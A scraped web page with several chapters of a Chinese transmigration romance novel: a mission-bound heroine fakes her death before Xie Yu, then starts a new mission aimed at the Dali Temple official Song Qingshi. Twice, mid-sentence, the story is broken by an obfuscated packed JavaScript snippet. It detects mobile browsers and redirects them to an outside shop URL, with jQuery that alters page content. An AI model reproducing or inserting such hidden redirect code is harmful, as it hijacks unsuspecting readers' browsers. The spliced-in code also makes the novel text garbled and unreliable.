江遥眼神有些迷惘,又有些感慨: “是啊,死遁型攻略任务还是太残忍了。” 年轻女子叹息一声,低低补充道:“对男主,对攻略者都是。” “这么快就惆怅了吗,接下来你还要死在两个男人面前呢。”蓝雁满不在乎的声音传来,“没事的,死遁多了就习惯了。” 为了表示安慰,她还象征性地摸了摸视频画面中江遥的头。 虽然对方并不能感觉到。 蓝雁作为监察组的员工,监察过的任务世界没有一千,也有八百了,每天看这种生死离别的画面都习惯了,对于江遥的这种感伤她自然是体会不到的。 原本有些忧伤的气氛就这样被蓝雁的一句话打破了。江遥没忍住,终是笑了一下。 开始她觉得蓝雁这人冷冷的,但相处多了,发现她居然还挺幽默的。 江遥听见她在屏幕那头懒散地打了个哈欠,调侃道:“什么时候开始,我们工作严谨认真的蓝小姐也开始累了?” “这不是第一个任务快要结束了,我又熬夜加急做了些信息的收尾工作吗。你们这些穿越人士是不会理解后台人员的忙碌的。” 她那头的声音很细碎,仔细辨别的话,还能听出撕各种包装袋的声音。 “我去茶水间摸个鱼,一会儿回来盯着。祝你这次死的时候不会太痛苦,拜拜。”然后挂断了通话。她们两边世界的时间流速不一样,等她喝完咖啡回来,江遥这边估计都死完了。 江遥单手抵着太阳穴,笑得有些无奈。 听听,听听,蓝雁这是什么祝愿。 就在她结束通话不久,房间的门突然被人猛地拉开。 谢瑜几乎是冲进来的。 江遥还保持着和蓝雁通话时的动作,见到来人的瞬间有些呆滞。 清晨的光终于刺破云层,谢瑜迎光而立,清俊的面容在阳光的照射下几近透明,令人看不清他的表情。 因为刚从昏迷中醒过来,年轻男子身形有些不稳,在朝江遥走过来的时候甚至还踉跄了一下。 “知白哥哥,你还没恢复好,怎么就急着下床走动了?” 江遥心头一紧,赶紧站了起来,几步抢到他面前,伸手要去扶他。 只是指尖还未碰触到他的衣袖,谢瑜那只骨节分明的手便已经先一步,握住了她的左手手腕。 哪怕中毒多日,身体虚弱,他的体温还是比她高一些,他的手骤然落在她的肌肤上时,江遥指尖瑟缩了一下。 谢瑜抿着苍白的唇,没有说话,神情中却带着点执拗。 他那带着些暖意的手微微颤抖,用极轻的力度,将她的衣袖一点点推了上去。 一截被素白棉布包裹着的纤细手臂露了出来。一连五日的取血,让江遥本来就雪白的肌肤变成一片失血的惨白状态。纤细的手臂在白布的包裹下,显示出一种触目惊心的、恍若一折就断的脆弱。 谢瑜紧紧盯着她包着白布的那截手臂,像是在努力看清她的每一道伤口。他的心脏像是猛地被人捏紧,疼得喘不过来气。 脑海中蓦地想起剑书的话。 “也许是怕我们担心,江姑娘服下蚀心散后,每日有一大半时间都是自己在房间待着。只有放血的时间,她才会去看您,每逢见面,总是沉静如常,除了额头的虚汗,几乎看不出痛苦的样子,就连云小大夫都吃惊地说,江姑娘是她见过最能忍痛的人。” 她从前是连吃药都怕苦的人,是怕疼到大夫提出用针灸给她治疗,她都要拒绝的人。 那可是锥心蚀骨之痛啊,她是怎么忍下来的? 耳边嗡鸣声不止,眼前逐渐变得模糊。疼痛自心脏蔓延,整个胸腔都有一种锐痛感。 “幽兰谷十分偏僻难寻,我和江姑娘甚至在途中遇到了野兽,江姑娘在躲避野兽的时候不慎崴了脚,却还是坚持赶路,不肯休息。” “后来好不容易到达幽兰谷的入口时,我们又被蛇群包围,因担心那是云谷主的爱宠,我们只敢驱赶,不敢伤害。幸而江姑娘机敏,想到以火把驱蛇,才让我们撑到了云小大夫出现的那一刻。” 那时他听完剑书的汇报后久久无言。光是听着她和剑书这一路上遭受的苦痛,就觉得惊险不已,更何况是他们这些实际经历过的人呢。 强烈的愧疚感和自厌感几乎要将他吞噬。 那个他捧在掌心里的姑娘,果然远比他想象中厉害得多。 可那些疼痛与危险,本不该由她来直面。 谢瑜眸光深深,手上猛然用力,手中的茶杯就应声而碎,瓷器碎片散落在床榻四处,鲜血顺着掌心流在他素白的寝衣衣袖上,留下一道浅浅的血痕。 “是属下有罪,没能保护好江姑娘,请世子责罚。” 剑书瞥见他难看的脸色,心间有些紧张。 “你何罪之有呢?” 有罪的是我才对。 谢瑜扶起剑书。 他深深吸了口气,走到桌前,拿起一旁的白布,将手上的血迹擦干,又像是擦掉了一些什么情绪。 直到他的手被擦得干干净净,谢瑜才低声地对剑书说了一句:“剑书,我想去见她。” 回忆结束。 看着江遥受伤的手臂,谢瑜空着的那只手用力攥紧掌心,掌心先前没有包扎好的伤口处重新感觉到疼痛,虽然这点疼痛和心里的疼痛比起来,算不了什么,可终究让他的理智回来了些。 他心中激荡着种种情绪,却不知道该说些什么。 他动了动唇,那些混杂在一起的情绪在出口的瞬间全都汇成了一句话:“疼吗?” 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那滴泪,在阳光的照耀下,是那样的不真切,却又带着滚烫的温度。 江遥蓦地一愣。 谢瑜是哭了吗?他那样沉稳内敛的人,居然也会有情绪这样外放的时候。 下一秒,那双有力的手将她揽进自己怀里,避开她的伤口,很用力很用力地抱着她,像是想把她揉进骨子里一样。 谢瑜低沉沙哑的嗓音自头顶传来,他说:“阿遥,我很恨我自己。” 我曾以为我会是你的庇护,可不曾想真的遇险之时,却还要靠你服下毒药救我。 感受到他浓浓的自厌情绪,江遥心里也有些疼,她伸出胳膊没受伤的那只手,轻轻抚摸他的脊背,柔声安慰道:“知白哥哥,你其实可以适当接受别人的付出的。” “以前遇到危险时,从来都是你保护我们,你挡在我们身前。可你是否想过,我们也想为你付出些什么呢?” 说这话时,她能感觉到自己抱着的人身形僵硬了一瞬。 “其实那日不论中毒的人是谁,是剑书还是墨砚,又或是许大人和小宋大人,只要我的血质与他匹配,只要我能救得了他,我都会选择服下蚀心散来救他。我相信,其他的人也是这么想的。” 像是有所触动,谢瑜紧抱着她的手松了些力气。 江遥笑了笑,语气更加柔和,接着说:“当然,因为你是谢知白,因为我心悦你,所以我会更希望由我来救你。” 她从谢瑜的怀抱中退出来,直直地望着他的眼睛,好叫他看清自己眼中的爱意,她摸上谢瑜的胸口,感受着那里跳动得猛烈的心跳,淡笑着说:“现在好了,你的身体里也流动着我的血,哪怕有一天,我不在了,你……” 你也在替我活着。 她的话还未说完,双唇就被人攫住。 江遥的瞳孔蓦地放大,完全没想到一向端方守礼的谢瑜会做出这样的举动。 她的手还放在他的胸口,能感受到对方的心脏无法遏制地跳得越来越快。 他的吻不带一丝色气,很温柔。 趁她出神的瞬间,他已经撬开了她的唇,将自己的气息渡了过来,像是要把自己所有的生机与寿数都渡给她。 江遥缓缓闭上了眼睛,手搭在他的脖子上,允许自己沉溺于此。 不知过了多久,直到她快要呼吸不过来,谢瑜才放开她。 她软在他怀里喘息着。 谢瑜搂住她,清冷的声音还掺杂着一丝喑哑:“我不许你说这样的话,哪怕是假设都不可以。” 听剑书说,那位云小大夫医术高超,即使服了蚀心散,也还是把她的身体调养得很好。 她怎么会做这么悲观的假设呢? 一种无端的恐惧从谢瑜心底产生。让他不自觉将怀中人搂得更紧。 他握住江遥泛着凉意的手,拼命想要抓住些什么:“阿遥,待此间事了,我们便成婚好吗?” 他已经不想再等了,生命何其脆弱,人生又何其无常,他和江遥之间还有多少时光可以挥霍呢? 谢瑜总觉得如果不在此时提起自己的心意,他会抱憾终生。 20. 清冷正直世子(完) 江遥是在一个阳光明媚的午后倒下的。正好是谢瑜中毒的一个月后,一天不多,一天不少。 那时漕运走私案已经处理得差不多了,谢瑜正在州衙里和宋清时、许远宁进行最后的收尾阶段。 许远宁和宋清时对照着仓廪历,一笔一笔地在吴府的账册上将可疑之处勾画了出来。 确凿的证据面前,吴府管家对吴永廉利用漕运贩卖私盐的事供认不讳,已经在口供上签字画押。 而严审之下,谢瑜那晚抓来的运货汉子们也交代了货物运送的时间和地点,承认两年来一直由他们帮忙转运货物。 在谢瑜醒来之前,许远宁就已派人将吴永廉走私贪墨的证据上报给了京都。 楚州这边的网已经收了,余下顺藤摸瓜抓出漏网之鱼的事情就可以交给京都中的人来处理了。 只是还有一件事并不明朗。 宋清时斜靠在椅子上,神情还是一如既往地散漫,他对谢瑜道:“不论是吴永廉还是那些货夫,都不清楚那日袭击你的斗笠汉子具体是何身份。” 他拿出一张绘着银环蛇图案的宣纸,给谢瑜二人看:“这是我在那个斗笠汉子身上发现的。这个图案,我从未在景国境内见过,倒像是某种组织的标志。” 宋清时提到“组织”的时候,许远宁表情微微变了一下,所幸另外两个人的注意力都在纸上,没有发现。 她很快又掩饰了过去,低头装作沉思的样子,只道:“确实可疑,值得留意一下。” 谢瑜凝视着那个图案:“有没有可能,这个图案来自其他国家的某个组织。” 景国北临盛国,西临月初国、塔塔国等小国,这些国家一直对景国虎视眈眈,将手伸进了漕运也未可知。 许远宁思考片刻后,说道:“也不一定是某个国家吧,景国境内不也有柔然、吐厥、漠北等少数民族,或许是这些民族的某种图腾呢。” 宋清时点点头,“有道理。我会再多调查一下的,有消息了通知你们。” 许远宁生怕露出破绽,不欲众人再讨论这个话题,于是侧目对宋清时笑道:“霜序,等你查清楚了,说不定谢兄都要成婚了。” 她又拍了拍谢瑜的肩膀:“是吧,谢兄?” 似是没想到许远宁会提起这个话题,谢瑜有些讶然。清冷的脸上划过一丝红晕,连耳尖都变粉了。 但他还是点点头,很认真地说了句嗯。 闻此言,宋清时挑了挑眉。午后的阳光很好很好,照得他的茶色眼眸泛着细碎又好看的光。 宋清时觉得阳光有些刺眼,将手边的折扇打开,挡住晒到脸上的阳光,这才对谢瑜调侃道:“哎,眼瞅着就要立夏了,我们谢大人这感情从春天拖到夏天,终于要有些进展了啊。” “到时候会请我和许大人一起吃酒吗?” 谢瑜很少见地笑了一下,表情十分柔和。他刚要张口回答,却突然看见剑书推门而入,神色焦急。 谢瑜的表情登时变了。 一般来说,如果知道他在讨论公务,剑书是不会打扰的,除非是有什么要紧的事。由于寒星没有一同来楚州,他醒来后,便一直让剑书保护江遥的安全。那么,剑书这样急匆匆地闯进来,一定是因为江遥出了什么事。 想到这里,谢瑜猛地从座位上站起来,沉声问:“怎么了?” 剑书喘着气,像是刚从什么地方跑过来:“江姑娘吐血了,您快去……” 他的话还没有说完,谢瑜就如一阵风一样冲出了门。 屋内,许远宁皱眉问剑书:“怎么回事,江姑娘身体里的蚀心散不是已经解掉了吗?” 宋清时的表情也挂上一丝严肃,从座位上站了起来。 剑书的表情很难看:“我也不知道。江姑娘突然就……幸而云小大夫还没离开客栈,有她在,江姑娘应该不会有事的。” * 客栈内,江遥躺在床上紧紧拧着眉,额头上出了一层薄汗。 心口处一道又一道钻心的疼痛传来,她疼得弓起了身子。跟心口的痛比起来,胳膊上放血的伤口倒是没什么感觉了。 不愧是公司系统商店出产的商品,真的一天也不多,一天也不少,三十天一到,副作用立马生效。 这三十天她躲过的病痛全都一下子双倍施加在她身上,让她难受得喘不过气来。 该死的双倍病痛。 怎么会这么疼! 江遥的手紧紧抓着床褥,疼痛已经让她说不出一句话来。 在病痛发作前,她还在和云溪一起摘花。云溪是个很可爱的小姑娘,闲着的时候喜欢做花茶。今日趁着得空,江遥便同她一起去客栈的花园里摘花。 云溪对园中的各种花木都如数家珍,她一边寻找着可以作花茶的花,一边给江遥介绍每种花的功用。 江遥则一边摘花,一边微笑着倾听。 午后的太阳暖洋洋的。也许是因为第一个任务即将结束,江遥难得感到一阵轻松。她同云溪一同走到荼蘼花架前,想要摘些花朵来做“留春茶”。 她想,这个春天那么美好,总要做点什么来留住春天吧。 至少她走了以后,谢瑜还能喝到她做的“留春茶”。 已经是春季的末尾了,白色的荼蘼花开得正盛,一枝枝地垂下来像雪白的瀑布,风一吹,整个花架都簌簌地响,带来很淡的甜味。 云溪刚摘下一朵花,想要给江遥看,转身的时候就看见江遥的脸色突然就变得煞白。 她那想要接花的手还突兀地停留在半空,一口鲜血就从她口中溢出。 火一般刺目的红溅在如雪的荼蘼花上。 云溪猛地扔掉手中的荼蘼花,扶住身形摇晃的江遥。 江遥意识昏迷的前一秒还在想,完了,看来谢瑜喝不到她做的“留春茶”了。 …… 看着眼前抓着她手给她号脉的小姑娘,江遥默默叹了口气。 哎,不知道有没有吓坏她。人家小医仙医术那么好,自己这一死岂不是会败坏人家的名声。 云溪摸着她的脉,神情惊异,她喃喃道:“怎么会呢?虽说你之前服用了猛药,可我一直将你的身体状态控制得很好啊,怎么会恶化得这样快?” 明明早上她还号过江遥的脉,那时江遥的身体还一切如常,怎么摘了个花的功夫就变得这样糟糕。 云溪按在江遥手腕上的手微微颤抖,她甚至能感觉到眼前的这个人生机正在慢慢消失,江遥的身体好像在那一瞬间以一种摧拉枯朽的方式恶化下来,甚至让人来不及救她。 谢瑜就是在这个时候猛地冲了进来。进来的那一瞬间,他看到榻上的人疼得身子弓着,出的虚汗浸湿了身上的薄衫,唇边还有没擦干净的血。 就像是有人拿着一把剑,贯穿了他的心脏一般,心里疼得不得了。 一种如同溺水一样的恐惧感压着他。他快步走到床边,将人揽进了自己怀里。 江遥紧紧咬着唇,她手捂着胸口,疼得在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她断断续续地问:“知白哥哥,我母亲是不是已经不在了?” 谢瑜蓦地一僵:“你都知道了?” “早就知道了,知白哥哥,你真的很不会骗人。”江遥努力勾起唇角,想要对谢瑜笑一下,可她实在太痛了,连笑也笑不出来。 她只能咬唇道:“知白哥哥,下一次,不要再随便把晕倒在路边的姑娘带回家了。” 因为,她会骗走你的心。 江遥觉得自己很困很困,忍不住闭上了眼睛,一滴掺杂着血色的泪水从她眼角滑落。 她的手无力地垂下。 谢瑜心痛如绞。他想紧紧地抱住她,可浑身却像是失去了所有力气,连她的手都不能握住。 只能无声地哭着。 他生命里的春天终究没有留住。 那个在寒冷冬天出现在谢瑜面前的女子,死在了春天的末尾,也带走了谢知白往后余生所有的春天。 “愿你一生喜乐无忧,再遇良人。” 他自虐般地反复回想江遥的话,像在拿一把利剑,反复贯穿他已经伤痕累累的心脏。多次的拔出与插.入,让他的心脏已经支离破碎,流出淋漓的鲜血。 他想,阿遥,除了你,我还会再遇到什么良人? 你若离开,此后良辰好景皆为虚设,万种风情更无人相说。 谢知白一生,将再无喜乐二字。 21. 散漫傲娇大理寺少卿1 元启六年秋,秋风吹过御道,金明池的残荷尚未凋谢,岸边的柳树就已由绿转黄。大相国寺前的银杏叶落得门前满地金黄,还有一些叶子顺着秋风飘落到了山门前的集市。 此处集市是景国规模最大也最负盛名的“万姓交易会”,其中售卖的东西从果脯腊肉、时新水果到珠宝首饰、志怪话本,无所不有。 寺东门外街的一家书铺内,江遥立于二楼,于窗前俯视人潮汹涌的街道。 街上人头攒动,各色叫卖声不绝。 来来往往的人群中,她一眼便看见了本次任务的攻略目标。 宋清时一身白衣胜雪,手执一把折扇,茶色眼眸中带着几分漫不经心,正同身边的人交谈着。 现在的时间线大概是在她上次死遁的两年以后。 彼时的小宋大人已经升任大理寺少卿,精致的眉眼更添几分成熟,只是举手投足的那种淡淡的倦怠感还是挥之不去。 “我不过是去茶水间喝杯咖啡的功夫,你就已经切到两年后了,果然迅速。”那边的蓝雁忍不住看着监视器感叹。 虽然经过上一个攻略任务的相处,蓝雁已经完全认可了这位搭档的业务能力,但宋清时这个攻略对象不太一般,她还是负责任地提醒道: “友情提醒一下,不要放松警惕,2号男主可是全书智力值max的存在,防备心很重,咱们主线组的同事有三个都被他送进了大理寺监狱。” “哈,小宋大人这么厉害的吗?”江遥十分讶异。 “对啊,不然你以为这个任务为什么会交给你。”蓝雁耸了耸肩,声音听着有点无奈。 主线组曾经有3个同事试图接近宋清时,扭转剧情,结果不知道哪里露出了马脚,全被他识破了。为了不暴露身份,主线组的同事们只好承认自己是盛国奸细,监察组的同事又熬了几个大夜,绞尽脑汁地编造出了完整的证据链,才让宋清时彻底相信,把这几个人关进了大理寺刑狱。 大理寺刑狱,各种手段自不必提,经历过的同事们都不想再回忆了,监察组为这个任务加过班的员工更是怨念深重,宋清时也因此一度成为令公司员工最为闻风丧胆的男主。 蓝雁正同江遥讲着其他同事们对宋清时的种种吐槽,江遥就看见人群中的宋清时像是感应到什么一样,重重打了个喷嚏。 她忽然就笑出声来。 “你居然还能笑得出来,是已经有了什么完美的攻略计划吗?”蓝雁对江遥的好心态彻底服气。 “计划?”江遥眨了眨眼睛,笑得有些狡黠,“我的计划就是没有计划,随机应变。” 对于宋清时这种极为聪明的人来说,太多计划反而会落了刻意,还是直白些好。 今日的她一袭黛紫旋裙,立于窗前时,深紫色的裙装在光影下流淌着幽微光泽。她伸手将支摘窗放下,把各种喧嚣的声音都挡在了窗外。 楼下的宋清时似有所感,蓦地抬眼,只来得及看见一片紫色的衣角。 “小宋大人,《京都异闻录》这本志怪笔记就是在此处售卖的。”同他一起来的大理寺司直段昇,指着书铺的招牌道。 宋清时垂眸看了眼底下的招牌:梦欢书铺。 浮生若梦,为欢几何。 倒是个有意思的名字,可惜卖得却是这样搅动人心的书。 年轻男子轻扯了下唇角,眼中划过一丝兴趣。 他们此行,是为帽妖案而来。 近来,京都传言有物如帽,夜飞入人家,却一不为财,二不为色,单为割人发丝而来。京中有不少大人都在一夜之间成了光头,纷纷上书景德帝请求彻查。 因为这几家大人的风评都不大好,民众都说他们是自作自受。可是后来,一本《京都异闻录》突然在京中风靡了起来,只因这本几年前的书中所记之事竟与当世所发生的事如出一辙,民众追捧若神书。 这本书的作者署名为遥遥子,至今无人知道此人的真实身份。 宋清时和段昇一路追查,发现这本书贩卖的源头正是梦欢书铺。 在宋清时眼中,被剃光头发的那几位大人平日里尸位素餐惯了,受到一点小惩罚也是罪有应得,案子递交到大理寺的时候,他甚至都懒得理会。 可若是有人借鬼神之说蛊惑人心、搅弄风云,那便又是另一桩事了。 因着今日是万姓交易会,各个铺子都在店门前支起了摊子。两人刚一走到门口,便被书铺摆摊的小伙子热情招呼:“二位想必也是来买本店热销的《京都异闻录》的吧,本店买十赠一,买的越多越划算。买一百本还可以获得与本书作者遥遥子见面的机会!”他从一摞书中拿出两本书,笑眯眯地递给两个人。 “一百本,是多少钱?”段昇问。 小伙子用袖子挡着,默默给段昇比了个数,压着嗓子道:“我这是看您诚心想要,优惠了许多,旁人这个价都拿不到呢。” 段昇看到那个天文数字以后,眼睛都瞪大了一倍:“这个遥遥子是什么大罗神仙吗?!想要见她居然要花这么多钱。” 小伙子一甩袖子,很傲气地说:“遥遥子能晓前尘,知未来,如何不是神仙?二位既是想见她一面,必然是心中存有疑惑。这个价不过是为二位答疑解疑的价格,何贵之有?” 段昇哼了一声,刚要同他争辩,却被身旁的宋清时打断了。 “那就一百本。” 年轻男子的声线像是被温水浸过,落在萧瑟的秋风里,莫名让人感觉有些暖意。 乍一听,是那种淡淡的暖,多一分则热,少一分则冷。可是细听之下,又能听出几分清冷的味道。 就像是春日的冬雪。 宋清时左手上还拿着那本《京都异闻录》,他用右手从袖中拿出一张印制精美的兑票,递给伙计,似笑非笑道:“不过书我就不要了,今日我只为遥遥子而来。” 小伙子收下兑票,登时喜道:“两位贵客请到二楼雅间等候,遥遥子须臾就到。” 亲眼目睹自家大人豪掷千金的段昇捂着胸口一脸痛心:这难道就是有钱人的快乐吗? 二楼雅间,宋清时环顾四周,觉得这屋子摆设很是别致。 虽然器具简单,但足有四个书架来放书,桌子上除了笔墨茶水,还放了些龟壳、铜钱一类的东西,看起来像六爻八卦之类的算卦之物。 段昇拿起桌上的茶水,喝了口:“大人,你说这个遥遥子真有那么神吗?” 宋清时反问道:“你真的相信这世上有鬼神吗?” 他拿起手中的那本《京都异闻录》,随手翻了一页,这一页记录的是戏团抓鬼的故事。 宋清时垂眸掩下眼中的深意,意有所指道:“这戏台上看似有多个人,实则恐怕只有一个人。” “所谓的鬼,只在人心里而已。” 他今日,就是要会一会这位戏台上的人。 段昇似有所悟,又捧着茶杯喝了口水。 不多时,一个女子的嗓音传了过来:“二位想见我?” 未见其人,先闻其声。 两人循声望去,只见一位黛紫衣裙的女子从推门而入,行走时裙裾微扬,带着别样的利落;她脸上带着素白面纱,故而看不清面容,只有一双明亮如星的眼眸露在外面。 段昇口中的那口水“噗”地吐了出来。 没想到妖言惑众的遥遥子竟然是个女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491230|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还如此年轻。 江遥坐于桌前,唇角带笑,轻声问面前的二人:“二位可有想问之事?民女不才,略晓占卜之术,可帮二位解忧。” 宋清时把玩着手中的扇子,表情戏谑,他慢声道:“没想到阁下不仅擅写文章,还兼职神棍?” “这位客人,你豪掷千金买下百书,不会就是为了来砸我的场子吧?”江遥拿起手边的龟壳,装模作样地塞了几个铜钱进去,然后冲宋清时粲然一笑,眉眼弯弯:“不过没关系,像我们这种做大事的人呢,是不屑于与你们这种凡夫俗子计较的。即使你如此无礼,我还是会给你占卜吉凶的。” 即使看不见江遥的全脸,单看她眼睛里透露出的自信,宋清时都能感受到她的暗示,她就差点说:尔等凡夫俗子,还不快快跪下,参拜你们伟大的遥遥子大神。 不得不说,这位遥遥子是一个情绪表现得很直白的人。 官场中人,哪个说话做事不是千回百转,想要说一句话怕是能在肚子里掂量三年,宋清时厌恶这样的同僚相处方式,觉得官场生涯无趣得紧。而今猛然见到这样直白的人,竟然觉得有几分趣味。 已经很久没有人敢这样挑衅他了。宋清时不置可否,好整以暇地看着她,突然就有了耐心,想看看她还能搞出什么花样。 而他身边的段昇,一直在努力憋笑。 江遥将龟壳哗啦哗啦摇了几下,然后“啪”地倒在桌上。 掉出来的三枚铜钱,两枚反面朝上,一枚正面朝上。 江遥叹了口气,故作深沉道:“哎,贵客,你看这卦象,两阴一阳。凶兆啊,你近日恐有灾祸,不如再买些《京都异闻录》回去镇宅?” 她说得头头是道且极为自信,连蓝雁都信了,奇道:“你居然还真会算卦。” 江遥:“电视剧里不都是这么演的吗?” 宋清时瞥了一眼桌上的铜钱:“两阴一阳?” 江遥理直气壮地点头。 “你手上拿的这枚铜钱是前朝的。”宋清时于五行八卦也颇有些了解,他忍俊不禁地拿手中的折扇指了指那枚背面朝上的铜钱,“背面刻着的前朝文字形如花纹,若是不了解前朝文字的人确实容易看错。其实按规矩来说,这三枚铜钱应当是‘两阳一阴’。” 年轻男子忍着笑意,一字一句,缓缓补充道:“此卦主出行顺利,遇事顺遂。” 江遥:“……” 段昇:我就说吧,这人果然是个骗子。 蓝雁:果然还是翻车了,怎么我单单对着监视器就感觉到了尴尬。 江遥的场子算是被宋清时拆得彻底一点不剩,段昇再也忍不住喉间的痒意,快要笑疯了。 然而当事人江遥理不直气也壮,用手把桌上的铜钱弄乱,看着宋清时带着笑意的茶色眼眸,认真道:“这位客人,我用遥遥子的声名发誓,你今晚定遇祸事。那个传闻中的帽妖,今晚怕是要剃你的头发呀!” 一旁的段昇心里暗叫不好,江遥的预言如果是真的,那么就意味着两件事: 一、由于帽妖多于夜晚作案,所以帽妖作案就意味着向来抵制加班的小宋大人,晚上要被迫加班了。 二、小宋大人虽然性格散漫,但颇为注重自身仪容。 而今居然有人试图要对小宋大人的头发下手,这不是等于在太岁头上动土? 是怎么可以做到一件事同时触犯小宋大人的两个雷点的? 段昇默默为这个不知道身份的剃发大盗点了根蜡。他看向一旁的宋清时,果见自家大人的笑容越来越灿烂。 坏了坏了,一般这个时候,就代表小宋大人彻底生气了。 帽妖,祝你好运。 22. 散漫傲娇大理寺少卿2 入夜,伴随着夜晚的风声,江遥带着垂颈的白色锥帽,手持长剑,悄无声息地跳上宋府房檐。 小宋大人果然财大气粗,为了上朝方便,直接在宫墙边上置了宅子,除了丫鬟仆役,府中就只有他一人居住,如此倒是方便了江遥行事。 根据手中早就画好的路线图,一路飞檐走壁,江遥找到宋清时素日所住的房间,稳稳落在窗前。 她用一根手指将窗纸捅破,将安神香送了进去。估算着时辰差不多了以后,她将手中长剑斜插入门缝中,向上一挑,门闩就被剑挑了下来。 江遥推门而入,提剑直奔床榻的方向。 帘帐之内,一男子盖着锦被,侧身而睡,头冲墙,看不见正脸。他的呼吸悠长,显然是睡得正酣。 江遥移步上前,将藏于袖中短小的匕首滑出,这种匕首刀片薄而利,是专为割人发丝而制。 就在刀锋即将触及榻上酣睡之人的颈后发丝时,那人绵长的呼吸声骤然中断。一只骨节修长的手自锦被中探出,带着熟悉的清冷气息,精准地截住了她持刀的手。榻上之人缓缓侧过身来,眼眸漆黑,不挂一丝情绪。 江遥在看清他的脸的那一刻,心跳陡然停止了一拍。 这个人竟然是谢瑜! 因为他比江遥记忆中瘦了很多,所以江遥单看背影没能第一时间认出来。 乍见故人,江遥心间那些所有强压下去的情绪几乎一瞬间向她涌过来。 她身形微滞,举剑反击的时候慢了一瞬。 “不自量力。”年轻男子的声线疏离淡漠,落在寂静的夜晚显得冰冷而无情。 谢瑜还单手捏着她握着匕首的手腕,眼见剑锋袭来,他目不变色,只侧了侧颈,堪堪躲过她砍来的那一剑。 另一只手从旁边的棋盒中,信手捻起一颗黑子,甚至无需目视,手腕翻转,就将手中的棋子投了出去。 棋子不偏不倚,点在江遥腰间章门穴上。 “啪”地一声,江遥手中刀剑应声而落。 江遥顿觉腰间产生一股疲软之感,这股疲软又在瞬间传遍四肢,双腿无力,身形控制不住地向前跌去。 江遥眉心微蹙,地上还有她掉落的刀剑,若是她跌落下去,必然会受伤。 眼看她即将摔在锋利的剑锋上,谢瑜又从棋盒里拿起几颗棋子,手腕一抖,棋子脱手飞出,不轻不重地撞在她的右肩。 江遥本已经倒下的身体被这巧劲儿一带,整个人好像被谁的手扶了一把,直接改变了摔倒的方向,斜斜地摔在一旁柔软的床榻上。 一连串动作下来,简直是行云流水,所有动作只在瞬息之间。谢瑜几乎都没有和江遥接触些什么,就已经让她无力反抗。 带着椎帽的年轻女子露出的唇角,划过一丝很浅的弧度。 江遥在心底感叹道:两年不见,谢知白果然还是那个武功超强又面冷心热的谢知白。 “谢知白,我那棋盒里的棋子你知道多贵吗?” 一声散漫的声线传来。 山水屏风处,缓缓走出两人。 宋清时还穿着白日里的那身素白长袍,眉目懒倦,他走到烛台前,点燃灯火。 明亮的灯火将他俊美而又慵懒的面容照得更加清晰,也让江遥彻底暴露在光明之下。 段昇几步走到紫色衣裙的女子面前,摘下她的椎帽。 椎帽之下的那张脸庞,眉如远山含黛,却并不纤柔,带着自然上扬的力度,给人一种说不出的洒脱。 她的眼睛在光线跃入的瞬间,睫毛下意识地颤了颤,再抬眼的时候,已经恢复了清澈透亮。 段昇仍然记得这双眼睛,他转头对宋清时叫道:“大人,这眼睛我不会记错,就是白天骗你钱的那个神棍。” 江遥无辜地眨了眨眼,笑道:“欸,贵客,你情我愿的事情怎么叫骗,难道我算的不准吗?” “你好无耻啊。” 段昇很跳脚,显然到现在才意识到对方的厚脸皮。 “宋霜序,下次再为这种小事烦我,会让我觉得你这个大理寺少卿当得很失败。”谢瑜将之前扔出的几枚棋子拾起来,重新放回棋盒中,淡淡道:“这棋子还能用,留着吧。” 宋清时倚着墙壁,打了个哈欠,看上去有些困:“这怎么是小事,我又不会武功,你若不帮我把这位帽妖抓住,也许明晚被剃成光头的就是你了呢。” “无赖。剩下的交给你了,我先走了。” 谢瑜懒得再与这位没个正形的好友打嘴仗,抬脚就要出门。在最后离开前,他不着痕迹地看了眼方才与他打斗的那个女子。 眉心微微蹙了起来。 不知为何,他总觉得刚才她落下来的剑没有一点杀意,甚至还带着一点熟悉的感觉,总觉得哪里不对。 也许是他多想了吧。 谢瑜的脚步顿了顿,最终还是迈步走了出去。 江遥看着那道身影,觉得熟悉又陌生。 他肩胛骨的形状透过衣衫清晰可见,腰间的锦带被束得很紧,却更显出腰身的窄,身形变了很多,但仍然像以前那样脊背挺直,若宁折不弯的清竹。 谢瑜看起来,真的比之前清减了许多。 他推开门,秋风便绵绵不绝地吹了进来,将他宽大的衣摆向后吹起,衬得他清峭如竹的背影看上去那么孤寂,像落在水中的月亮,清清冷冷的,却又令人看不真切。 这轮高悬于天的明月,曾经被她摘下,却又被她轻易弃于水中。 江遥侧目看了眼一旁的宋清时,在心中轻轻叹了口气。 现在,她要开始去捕捉随风舒展的白云了,只能留明月在水中夜夜孤寂了。 她不得不再次感慨这个任务的难点其实不在于攻略,而在于当你重新换了容颜与身份之后,能否像对待陌生人一样,对待你曾经付出过炽烈情感的攻略对象。 同样是望着谢瑜的背影,不同的人却有不同的看法。 “大人,明明这种抓捕的事情我也能做,何须还要劳烦谢大人走一遭呢?” 谢瑜走后,段昇疑惑地看向宋清时,还是想不通大人这么安排的理由。 宋清时淡淡抬起眼,那双茶色眼眸里终于不只是倦意与懒散,还多了几分通透。 他轻笑道:“谢知白这个人,性子太孤僻了些。若是不经常给他找些事情做,我真怕他会有朝一日沉溺在过去的伤痛中醒不过来。” 段昇摸了摸头,好像懂了,又好像没懂:“大人说话怎么像在打哑谜,我听得云里雾里的。” 宋清时淡笑着摇头,没再解释什么。 “给她解开穴位吧。”宋清时眼神看向一旁的江遥,吩咐段昇道。 段昇面露犹疑:“大人,您不会武功,我怕这个遥遥子会……” 